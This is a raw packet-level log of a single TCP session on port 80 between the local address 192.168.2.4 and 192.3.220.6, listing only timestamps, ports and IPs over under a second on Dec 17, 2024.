Dec 17, 2024 03:51:59.535433054 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.536417961 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.536474943 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.536564112 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.536619902 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.537769079 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.537837982 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.537950039 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.538011074 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.539033890 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.539088011 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.539203882 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.539261103 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.540143013 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.540214062 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.540260077 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.540314913 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.541388988 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.541446924 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.541526079 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.541584969 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.542674065 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.542723894 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.542804003 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.542857885 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.543847084 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.543904066 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.544034004 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.544094086 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.545130014 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.545186996 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.545258045 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.545305014 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.546329975 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.546391010 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.546478033 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.546525955 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.547643900 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.547699928 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.547739983 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.547801018 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.548806906 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.548860073 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.548948050 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.548999071 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.550029993 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.550082922 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.550210953 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.550266981 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.551414967 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.551448107 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.551467896 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.551493883 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.552500010 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.552555084 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.552619934 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.552668095 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.553771973 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.553827047 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.553878069 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.553931952 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.555001974 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.555056095 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.555128098 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.555181980 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.556391001 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.556405067 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.556449890 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.556451082 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.557471037 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.557523012 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.557548046 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.557600021 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.558662891 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.558718920 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.558794022 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.558840990 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.559921980 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.559969902 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.560017109 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.560055971 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.561153889 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.561201096 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.561266899 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.561315060 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.562434912 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.562480927 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.562482119 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.562515020 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.563641071 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.563689947 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.563695908 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.563736916 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.564882040 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.564932108 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.565012932 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.565059900 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.566148996 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.566196918 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.566210032 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.566241980 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.567334890 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.567385912 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.567480087 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.567526102 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.568571091 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.568618059 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.568675995 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.568737030 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.569900990 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.569910049 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.569952011 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.571011066 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.571069002 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.571151018 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.571201086 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.572280884 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.572335005 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.572391033 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.572436094 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.573718071 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.573728085 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.573765039 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.574887037 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.574894905 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.574944019 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.575968981 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.576020956 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.576071978 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.576128006 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.577178001 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.577229977 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.707035065 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.707072020 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.707262993 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.707263947 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.707292080 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.707343102 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.707392931 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.707392931 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.708399057 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.708498955 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.708570957 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.708570957 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.709547997 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.709702969 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.709716082 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.709805012 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.710772991 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.710832119 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.711051941 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.711107016 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.712083101 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.712121010 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.712130070 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.712171078 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.713135004 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.713191032 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.713233948 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.713289022 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.714432955 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.714466095 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.714490891 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.714524984 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.715666056 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.715701103 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.715724945 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.715758085 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.716995001 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.717040062 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.717052937 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.717082024 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.718152046 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.718184948 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.718209982 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.718244076 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.719203949 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.719238997 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.719264030 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.719295025 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.720262051 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.720319986 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.720357895 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.720412016 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.721548080 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.721596956 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.721602917 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.721642971 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.722614050 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.722671032 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.722713947 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.722769022 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.723773956 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.723830938 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.723952055 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.724006891 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.725193977 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.725225925 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.725251913 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.725285053 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.726142883 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.726200104 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.726264954 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.726317883 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.727376938 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.727432966 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.727480888 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.727529049 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.728707075 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.728743076 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.728764057 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.728796959 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.729734898 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.729789019 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.729793072 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.729835033 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.730964899 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.731020927 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.731108904 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.731164932 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.732187986 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.732222080 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.732249022 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.732281923 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.733277082 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.733333111 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.733419895 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.733475924 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.734508991 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.734565973 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.734653950 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.734709978 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.735677958 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.735734940 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.735858917 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.735917091 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.736802101 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.736860037 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.736946106 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.737001896 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.738187075 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.738221884 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.738240004 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.738265038 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.739372969 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.739409924 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.739429951 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.739471912 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.740376949 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.740436077 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.740464926 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.740518093 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.741595984 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.741657019 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.741710901 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.741770983 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.742773056 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.742825985 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.742870092 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.742917061 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.743925095 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.743993044 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.744106054 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.744163990 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.745168924 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.745239973 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.745263100 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.745316982 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.746371031 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.746423960 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.746453047 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.746483088 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.747467995 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.747540951 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.747587919 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.747638941 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.748656034 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.748718977 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.748857975 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.748914957 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.750255108 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.750303984 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.750322104 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.750344992 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.751142979 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.751177073 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.751199007 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.751229048 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.752228975 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.752286911 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.752372980 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.752428055 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.753504992 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.753557920 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.753559113 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.753604889 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.754618883 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.754678965 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.754780054 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.754833937 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.755784035 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.755840063 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.755925894 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.755980015 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.757002115 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.757057905 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.757180929 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.757236004 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.758193970 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.758248091 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.758250952 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.758302927 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.759361029 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.759424925 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.759428024 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.759469032 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.760488987 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.760550022 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.760596037 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.760649920 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.761688948 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.761754990 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.761817932 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.761871099 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.763118029 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.763129950 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.763187885 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.763187885 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.764065981 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.764122009 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.764194965 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.764245033 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.765232086 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.765280962 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.765324116 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.765369892 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.766486883 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.766534090 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.766535044 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.766576052 CET	49730	80	192.168.2.4	192.3.220.6
